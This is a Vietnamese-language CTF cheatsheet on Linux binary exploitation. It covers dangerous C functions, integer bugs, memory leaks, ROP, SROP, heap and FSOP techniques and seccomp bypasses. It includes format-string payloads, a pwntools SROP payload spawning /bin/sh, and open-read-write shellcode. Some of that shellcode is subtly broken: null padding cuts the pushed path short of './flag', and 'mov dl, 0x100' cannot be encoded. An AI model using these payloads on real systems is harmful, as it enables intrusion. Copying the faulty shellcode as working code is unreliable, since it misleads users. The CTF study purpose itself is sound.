PWN Cheatsheet
Complete binary exploitation reference for CTF - from dangerous functions to advanced exploitation techniques (C - Userland - Linux)
Dangerous Sinks
Input
| Hàm | Chức năng | Hành vi dừng & kết thúc | Nguy hiểm vì | Mức độ |
|---|---|---|---|---|
gets() | Đọc input từ stdin | Dừng khi gặp \n hoặc EOF, thay \n bằng \0 | Không kiểm tra buffer size, buffer overflow 100% | Critical |
scanf("%s") | Đọc chuỗi từ stdin | Dừng khi gặp whitespace (\n, space, \t), thêm \0 vào cuối | Không giới hạn độ dài, buffer overflow | Critical |
scanf("%[^\n]") | Đọc đến newline | Dừng khi gặp \n, thêm \0, không consume \n | Không giới hạn độ dài, buffer overflow | Critical |
read() | Đọc n bytes từ fd | Dừng khi đủ n bytes hoặc EOF, không thêm \0 | Không thêm null terminator, off-by-one nếu dùng như string | High |
fgets() | Đọc tối đa n-1 bytes | Dừng khi đủ n-1 bytes, gặp \n, hoặc EOF, thêm \0, giữ \n nếu có | An toàn hơn nhưng có thể off-by-one nếu tính sai size | Medium |
getchar()/fgetc() | Đọc 1 ký tự | Trả về 1 ký tự hoặc EOF | Cần kiểm tra EOF, có thể tràn nếu loop không đúng | Medium |
String copy/manipulation
| Hàm | Chức năng | Hành vi dừng & kết thúc | Nguy hiểm vì | Mức độ |
|---|---|---|---|---|
strcpy() | Copy chuỗi | Dừng khi gặp \0 trong src, thêm \0 vào dest | Không kiểm tra dest size, buffer overflow | Critical |
strcat() | Nối chuỗi | Tìm \0 trong dest, copy src đến đó, dừng khi gặp \0 trong src | Không kiểm tra dest size, buffer overflow | Critical |
sprintf() | Format vào buffer | Dừng khi format xong, thêm \0 | Không kiểm tra buffer size, buffer overflow + format string | Critical |
vsprintf() | sprintf với va_list | Dừng khi format xong, thêm \0 | Không kiểm tra buffer size, buffer overflow + format string | Critical |
strncpy() | Copy tối đa n bytes | Dừng khi đủ n bytes hoặc gặp \0, chỉ thêm \0 nếu src ngắn hơn n | Không đảm bảo null-terminate nếu src >= n bytes | High |
strncat() | Nối tối đa n bytes | Tìm \0 dest, copy n bytes từ src, luôn thêm \0 | Off-by-one: thêm \0 ngoài n bytes | High |
memcpy() | Copy n bytes | Copy đúng n bytes, không thêm \0, không dừng ở \0 | Không kiểm tra overlap, không null-terminate | Medium |
memmove() | Copy n bytes (safe overlap) | Copy đúng n bytes, không thêm \0, xử lý overlap | Không null-terminate | Medium |
snprintf() | Format vào buffer với limit | Dừng khi đủ n-1 bytes hoặc format xong, thêm \0 | Format string bugs, trả về số bytes “cần” (không phải đã ghi) | Medium |
String length/search
| Hàm | Chức năng | Hành vi dừng | Nguy hiểm vì | Mức độ |
|---|---|---|---|---|
strlen() | Đếm độ dài | Dừng khi gặp \0 | Không kiểm tra buffer boundary, crash nếu không có \0 | High |
strtok() | Tokenize string | Dừng khi gặp delimiter, thay delimiter bằng \0 | Modify input string, static internal state (not thread-safe) | Medium |
strstr() | Tìm substring | Dừng khi gặp \0 | Crash nếu strings không null-terminated | Medium |
Output
| Hàm | Chức năng | Hành vi dừng | Nguy hiểm vì | Mức độ |
|---|---|---|---|---|
printf(user_input) | Format output | Format theo format string | Format string attack: leak/write arbitrary memory | Critical |
fprintf(fp, user_input) | Format output to file | Format theo format string | Format string attack | Critical |
puts() | In chuỗi + newline | In đến \0, tự động thêm \n | An toàn cho output nhưng có thể leak data nếu không có \0 | Low |
write() | Ghi n bytes | Ghi đúng n bytes, không dừng ở \0 | An toàn cho output, nhưng có thể leak nếu n > actual data | Low |
Format string
| Hàm | Format specifiers nguy hiểm | Nguy hiểm vì | Mức độ |
|---|---|---|---|
printf/fprintf/sprintf | %n, %hn, %hhn | Ghi giá trị vào địa chỉ trên stack | Critical |
%x, %p, %s | Leak stack/heap/memory contents | Critical | |
%<number>$x | Direct parameter access, bypass stack | Critical |
Format Specifiers
| Specifier | Mục Đích | Cách Hoạt Động | Nguy Cơ |
|---|---|---|---|
| %x | Leak giá trị hex | Đọc giá trị trên stack, output: 4008978e | An toàn, không crash |
| %p | Leak địa chỉ | Đọc giá trị trên stack, output: 0x4008978e | An toàn, format pointer |
| %s | Đọc chuỗi | Dereference địa chỉ trên stack, in chuỗi | Crash nếu địa chỉ invalid |
| %n | Ghi số bytes | Ghi tổng bytes đã in vào địa chỉ | Write primitive |
Arbitrary Read
# Đọc tại địa chỉ 0x080456AB
payload = p32(0x080456AB) + "%7$s"
# Leak stack values
payload = "AAAA%7$p %8$p %9$p"Lưu ý: %s đọc đến null byte, có thể crash nếu địa chỉ không readable.
Arbitrary Write
Thủ công:
# Ghi 0x1337 vào 0x08049794
payload = p32(0x08049794) + "%4919c%7$n"
# 4919 + 4 = 4923 = 0x1337 (decimal)
# Ghi byte-by-byte với %hhn
addr = p32(0x08049794)
payload = addr + "%221c%7$hhn" # Ghi 0xDD (221+4=225=0xDD)fmtstr_payload()
from pwn import *
# Syntax cơ bản
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
# Ví dụ: Ghi 0xdeadbeef vào 0x0804a048
writes = {0x0804a048: 0xdeadbeef}
payload = fmtstr_payload(6, writes)
# Ghi nhiều địa chỉ
writes = {
0x0804a048: 0xdeadbeef,
0x0804a04c: 0x1337babe
}
payload = fmtstr_payload(6, writes, numbwritten=8)Tham số quan trọng:
offset: Vị trí format string đầu tiên bạn kiểm soát (tìm bằngAAAA%7$p)numbwritten: Số bytes đã in trước payload (ví dụ:"Enter: "= 7 bytes)write_size:'byte'(1 byte/lần, ngắn),'short'(2 bytes),'int'(4 bytes, dài)
Memory allocation/management
| Hàm | Chức năng | Nguy hiểm vì | Mức độ |
|---|---|---|---|
alloca() | Allocate trên stack | Không kiểm tra stack space, stack overflow | Critical |
malloc(user_size) | Allocate heap | Integer overflow trong size, heap overflow sau đó | High |
realloc() | Resize allocation | Use-after-free nếu fail, pointer invalidation | High |
free() | Giải phóng memory | Double-free, use-after-free bugs | Critical |
System/execution
| Hàm | Chức năng | Nguy hiểm vì | Mức độ |
|---|---|---|---|
system(user_input) | Execute shell command | Command injection, RCE | Critical |
exec*() family | Execute program | Command injection nếu dùng shell | Critical |
popen() | Execute command + pipe | Command injection | Critical |
dlopen()/dlsym() | Load shared library | Load arbitrary .so, code execution | Critical |
File operations
| Hàm | Chức năng | Nguy hiểm vì | Mức độ |
|---|---|---|---|
open() với O_CREAT | Tạo file | Race condition (TOCTOU), arbitrary file write | High |
fopen(user_path) | Mở file | Path traversal, arbitrary file read/write | High |
chmod()/chown() | Đổi permissions | Race condition, privilege escalation | High |
Integer vulnerabilities
| Loại lỗi | Pattern code | Input/Điều kiện | Kết quả | Exploit | Mức độ |
|---|---|---|---|---|---|
| Integer Overflow | Unsigned: size_t len = a + b;malloc(len);Signed: int total = count * size;malloc(total); | Unsigned: a = 0xFFFFFFFF, b = 1Signed: count = 0x40000000, size = 4 | Unsigned: len = 0Signed: total = 0 (wrap) | Allocate 0 bytes → heap overflow | Critical |
| Integer Underflow | Unsigned: size_t remaining = len - offset;memcpy(buf, src, remaining);Signed: int space = bufsize - used;if(space > 0) read(fd, buf, space); | Unsigned: len = 10, offset = 20Signed: used = -10, bufsize = 100 | Unsigned: remaining = 0xFFFFFFF6 (huge)Signed: space = 110 | Copy massive amount hoặc bypass check → overflow | Critical |
| Sign Confusion | Direct cast: void process(int size)malloc(size);Bypass check: if(size < MAX) malloc(size); với size là int | size = -1 | Direct: malloc(0xFFFFFFFF) → fail/hugeBypass: -1 < MAX → pass, cast thành unsigned huge | Allocate fail → NULL deref hoặc bypass check | Critical |
| Type Truncation | Downcast: size_t len = strlen(s);int n = len;Width mismatch: unsigned long len;read(0, &len, 8);char buf[len]; | Downcast: len = 0x100000001Width: len = 0x1FFFFFFFF | Downcast: n = 1Width (32-bit): buf[0xFFFFFFFF] | Dùng truncated value → undersize buffer/stack overflow | Critical |
| Width Confusion | uint32_t a; uint64_t b;b = a * 1000; | a = 5000000 | Overflow trong multiply trước cast | Silent overflow | High |
| Off-by-one via Underflow | for(i = len-1; i >= 0; i--) với size_t i | len = 0 | i = 0xFFFFFFFF (never stop) | Infinite loop, OOB access | High |
C Data Type Ranges
| Kiểu dữ liệu | Số byte | Giá trị nhỏ nhất | Giá trị lớn nhất |
|---|---|---|---|
| signed char | 1 | -128 | 127 |
| unsigned char | 1 | 0 | 255 |
| short int, signed short int | 2 | -32768 | 32767 |
| unsigned short int | 2 | 0 | 65535 |
| int, signed int, long int, signed long int | 4 | -2147483648 | 2147483647 |
| unsigned int, unsigned long int | 4 | 0 | 4294967295 |
| long long int, signed long long int | 8 | -9223372036854775808 | 9223372036854775807 |
| unsigned long long int | 8 | 0 | 18446744073709551615 |
| float | 4 | 1.2E-38 | 3.4E+38 |
| double | 8 | 2.3E-308 | 1.7E+308 |
| long double | 10-16 | 3.4E-4932 | 1.1E+4932 |
objdump & readelf
objdump
Disassemble:
objdump -d binary- Disassemble toàn bộobjdump -d binary -M intel- Cú pháp Intel[1]objdump -d -j .plt binary- Chỉ xem PLT
Symbols:
objdump -t binary- Xem symbols (tìm hidden functions)objdump -T binary- Dynamic symbolsobjdump -tT libc.so | grep system- Tìm offset trong libc [2]
Strings & sections:
objdump -s binary- Dump hex của sectionsobjdump -s -j .rodata binary- Xem string constants
readelf
File info:
readelf -h binary- Header (architecture, entry point)readelf -l binary- Program headers (check NX, PIE)[3]readelf -S binary- Section headers (.text, .data, .bss)
Symbols:
readelf -s binary- Symbol tablereadelf --dyn-syms binary- Dynamic symbols (PLT/GOT)[1]
Relocation:
readelf -r binary- Relocation entries (GOT addresses)
Exploitation Techniques
Initial checklist
Checklist:
- Libc version → offsets, heap mechanics; Libc GOT overwrite (glibc < 2.39)
- Seccomp → xác định syscalls bị chặn
- NX disabled → có thể dùng shellcode
- PIE disabled + Partial RELRO → GOT overwrite
- PIE enabled → cần leak binary base (trên stack)
- Full RELRO → GOT read-only, không có GOT overwrite
- Static binary → khó phân tích (binary lớn), không có GOT/PLT, không cần leak libc
- No canary found → Có thể stack overflow, return address overwrite, hay stack pivot.
Information leaking
Chung: Overread qua output functions (puts, printf, write) để leak data từ stack/heap (có thể cần overflow trước).
Libc leak
- Unsorted bin/Smallbin: UAF hoặc uninitialized allocate → fd/bk pointer trỏ về main_arena
- Heap overflow: overflow để leak unsorted bin pointers
- GOT entry: leak địa chỉ hàm đã được resolve (puts, printf, read,…)
- Format string:
%sđể đọc GOT entry hoặc libc addresses từ stack - Overread: vùng có libc addresses (stack, GOT, heap)
Xác định libc version: Leak nhiều hàm từ GOT, tra libc database (https://libc.rip/)
Heap leak
- Tcache/Fastbin UAF: fd pointer trỏ đến chunk tiếp theo (glibc ≥ 2.26)
- Largebin: fd_nextsize/bk_nextsize chứa heap addresses
- Uninitialized allocate: malloc không zero memory
- Heap overflow: đọc metadata chunk khác
- Format string: leak heap pointer từ stack
- Overread: vùng có heap pointers
Stack leak
- Format string:
%phoặc%xđể leak stack values - __environ: pointer → environ trên stack → tính stack address
- Stack overflow: overread để leak data
- Overread: vùng có stack addresses, canary, return address
PIE leak
- Format string: leak return address hoặc function pointer từ stack
- __environ → AAR: đọc return address trên stack
- Function pointer: leak địa chỉ hàm từ GOT/BSS
- Heap overflow: leak function pointer nếu có trên heap
- Overread: vùng có PIE-relative addresses
Canary leak
- Format string: canary thường ở stack offset cố định
- Stack overflow: overread để leak canary
- __environ → AAR: đọc canary từ stack
- TLS manipulation: ghi vào TLS section để overwrite canary
Arbitrary read/write
Arbitrary Address Write
- Format string:
%nđể ghi - Tcache poisoning: overwrite tcache->next → malloc trả về địa chỉ bất kỳ
- Fastbin attack: overwrite fd, cần fake size hoặc fill tcache
- Unsorted bin attack: ghi main_arena address qua bk pointer
- Heap overflow: overwrite metadata để control allocation
- OOB: array index không check bound
- FSOP: manipulate FILE structure
Arbitrary Address Read
- Format string:
%svới địa chỉ trên stack - Tcache/Fastbin control: allocate tại địa chỉ muốn đọc
- Heap overflow: đọc metadata chunk khác
- OOB: đọc ngoài bound
- FSOP: manipulate FILE structure
Code execution
Shellcode (NX disabled)
- Ghi shellcode lên stack/heap/bss (vùng có quyền X)
- Nhảy đến shellcode qua return address/GOT overwrite
- Shellcode staging: shellcode nhỏ đọc shellcode lớn
- Lưu ý: kiểm tra seccomp (có thể cần ORW thay execve), shellcode có thể chứa null
ROP
- Stack alignment: RSP align 16 bytes trước call
- RBP: cần hợp lệ (không null/invalid)
- Register control: control đủ registers cho function call
- Stack pivoting: pivot RSP đến BSS/heap/GOT
SROP
- SROP: rt_sigreturn để set toàn bộ registers
Điều kiện cần:
- Có gadget
syscall(hoặcint 0x80trên x86). - Điều khiển được stack (buffer overflow) để đặt sigreturn frame.
- Gây được syscall
rt_sigreturn:- amd64:
rax = 15, rồisyscall. - i386:
eax = 0x77, rồiint 0x80.
- amd64:
Flow cơ bản:
- Overflow return address → nhảy tới gadget
syscall; ret(hoặc chỉsyscall). - Trước đó, set
rax = 15để syscall thànhrt_sigreturn. - Ngay sau return address trên stack là SigreturnFrame giả.
sigreturnđọc frame từ stack → set hết register theo frame.- Trong frame đặt:
rax = 59(sys_execve)rdi = &"/bin/sh"rsi = 0,rdx = 0rip = addr_syscall(để sau khi restore xong thì gọisyscallthật sự).
from pwn import *
frame = SigreturnFrame() # context.arch = 'amd64'
frame.rax = 59 # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr # chỗ có instruction syscall
payload = b'A' * offset
payload += p64(pop_rax) + p64(15) # rt_sigreturn
payload += p64(syscall_addr) # trigger sigreturn
payload += bytes(frame) # fake frame
p.send(payload)Khi nào nên dùng SROP?
- Ít gadget, ROP khó build.
- Cần set nhiều register 1 lúc.
- Có
syscallnhưng thiếupop rdi; pop rsi; pop rdx; retcác kiểu.
One-gadget / Magic gadget
- Kiểm tra constraints trước dùng (có thể cần ROP setup)
- Stack alignment vẫn critical
- Tiện nhưng thiếu ổn định, trên remote chưa chắc đã chạy được vì phụ thuộc context.
System() call
- Overwrite GOT: hàm control được (puts, printf, setvbuf) → system
- Setup RDI: “/bin/sh” (có trong libc) <- controlled buffer hoặc stdout,in,err
- Stack alignment 16 bytes: critical, có thể cần RBP hợp lệ
Hooks (glibc ≤ 2.34)
- Function pointers:
__malloc_hook,__free_hook,__realloc_hook - Leak libc → overwrite hook → trigger malloc/free/realloc
FSOP (File Stream Oriented Programming)
- Manipulate
_IO_FILEstructure - Trigger qua exit(), fclose(), overflow
- _IO_vtable_check bypass (modern glibc)
- House of Apple/Kiwi: modern FSOP techniques
Libc GOT Overwrite
https://github.com/n132/Libc-GOT-Hijacking
Heap exploitation
Tcache (glibc ≥ 2.26)
- Tcache poisoning: overwrite fd → malloc return arbitrary address
- Tcache dup: double free (glibc < 2.29 không check)
- Tcache key bypass: overwrite key field để bypass double-free check (glibc ≥ 2.29)
- Struct location: heap_base + 0x10
Fastbin
- Fill tcache: để chunk free vào fastbin
- Fastbin attack: overwrite fd, cần fake size
- Fastbin dup: double free → allocate cùng chunk 2 lần
- House of Spirit: fake chunk (stack) → free() → allocate
Unsorted bin / Smallbin / Largebin
- Fake chunk: fake size để free vào bin (lưu ý prev_inuse chunk sau)
- Unsorted bin attack: ghi main_arena+offset qua bk pointer (dùng để leak/AAW)
- Largebin attack: overwrite fd_nextsize → arbitrary write
- House of Einherjar: consolidate qua fake prev_size
House of techniques
https://github.com/shellphish/how2heap
Lưu ý
- Alignment 16 bytes (64-bit): Tất cả bins (tcache, small, large, unsorted, fast) - địa chỉ trả về chia hết cho 16, kích thước chunk là bội số 16
- Tạo padding chunk (rào chắn top chunk) tránh merge khi free
- Unsorted bin attack corrupt list → chỉ dùng 1 lần
- Safe-linking (glibc ≥ 2.32): fd được mangle
(chunk_addr >> 12) ^ real_fd→ cần heap leak để decode/encode
Advanced techniques
Race condition
- TOCTOU (Time-of-Check-Time-of-Use): Check lúc A nhưng sử dụng lúc B → race thay đổi giữa 2 lúc
- Shared variable: Nhiều thread dùng chung biến toàn cục → data race → corruption
- Exploit: Tạo nhiều threads để race condition
Seccomp bypass (alternative syscalls)
| Mục đích | Syscall chính | Syscall thay thế | Ghi chú |
|---|---|---|---|
| Mở file | open | openat, creat, open_by_handle_at | openat linh hoạt hơn với dirfd |
| Đọc file | read | readv, pread64, preadv, preadv2 | preadv đọc từ offset cụ thể |
| Ghi file | write | writev, pwrite64, pwritev, pwritev2 | writev ghi nhiều buffer cùng lúc |
| Đóng file | close | close_range | close_range đóng nhiều fd cùng lúc |
| Spawn shell | execve | execveat | execveat cho phép exec từ fd |
| Tạo process | fork | clone, clone3, vfork | clone linh hoạt hơn fork |
| Copy data | read + write | sendfile, splice, copy_file_range | Transfer trực tiếp giữa fd |
| Quản lý memory | mmap | mmap2, mremap, remap_file_pages | mprotect để thay đổi permission |
| Lấy thông tin file | stat | fstat, lstat, newfstatat, statx | statx là version mới nhất |
| Thay đổi directory | chdir | fchdir | fchdir dùng fd thay vì path |
| Đổi tên/di chuyển | rename | renameat, renameat2 | renameat2 có thêm flags |
| Xóa file | unlink | unlinkat | unlinkat có thể xóa cả directory |
| Tạo directory | mkdir | mkdirat | mkdirat relative to dirfd |
| Socket operations | socket, connect | socketpair, accept, accept4 | Để network communication |
| Đọc directory | getdents | getdents64 | List files trong directory |
Partial overwrite
- Overwrite 1-2 byte cuối để nhảy đến địa chỉ gần
- Dùng khi không đủ overflow
- Có thể cần brute-force ASLR
Stack pivoting
Dùng leave; ret gadget để pivot RSP đến GOT/BSS/heap
Sau khi pivot:
- Tiếp tục ROP chain: dùng gadgets từ vùng mới để gọi functions, setup registers
- Thực thi shellcode: nếu pivot đến heap/BSS có shellcode sẵn sàng
RWX segment creation
mprotect(addr, len, PROT_READ|PROT_WRITE|PROT_EXEC)qua ROPmmap(NULL, size, PROT_READ|PROT_WRITE|PROT_EXEC, ...)- Compile với
-z execstack(rare)
TLS/Thread manipulation
- Malloc large size (>0x21000): mmap ngay trước TLS → heap overflow, hay OOB để:
- Leak/Overwrite TLS: main canary, master canary, tcache perthread struct, stack guard
Random number prediction
- Predict random() output
- Overwrite seed trong memory
- Predict dùng
ctypefunctions - Time-based seed: brute-force time()
ORW Shellcode
64-bit (x86-64) - ./flag
xor rax, rax
push rax
push 0x67616c66
mov rdi, 0x2f2e
push rdi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x100
syscall
mov dl, al
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall64-bit (x86-64) - /flag
xor rax, rax
push rax
push 0x67616c66
mov rdi, 0x2f
push rdi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x100
syscall
mov dl, al
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall32-bit (x86) - ./flag
xor ecx, ecx
push ecx
push 0x67616c66
push 0x2f2e
mov ebx, esp
xor eax, eax
mov al, 5
int 0x80
mov ebx, eax
xor eax, eax
mov al, 3
mov ecx, esp
mov dl, 0x100
int 0x80
xor ebx, ebx
inc ebx
mov ecx, esp
mov dl, al
mov al, 4
int 0x8032-bit (x86) - /flag
xor ecx, ecx
push ecx
push 0x67616c66
push 0x2f
mov ebx, esp
xor eax, eax
mov al, 5
int 0x80
mov ebx, eax
xor eax, eax
mov al, 3
mov ecx, esp
mov dl, 0x100
int 0x80
xor ebx, ebx
inc ebx
mov ecx, esp
mov dl, al
mov al, 4
int 0x80from pwn import *
context.arch = 'amd64'
shellcode = asm("""
xor rax, rax
push rax
push 0x67616c66
mov rdi, 0x2f2e
push rdi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x100
syscall
mov dl, al
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
""")
p.send(shellcode)Lưu ý:
- 64-bit syscalls: open=2, read=0, write=1
- 32-bit syscalls: open=5, read=3, write=4
- “./flag” = 0x2e2f + “flag” (little-endian)
- “/flag” = 0x2f + “flag”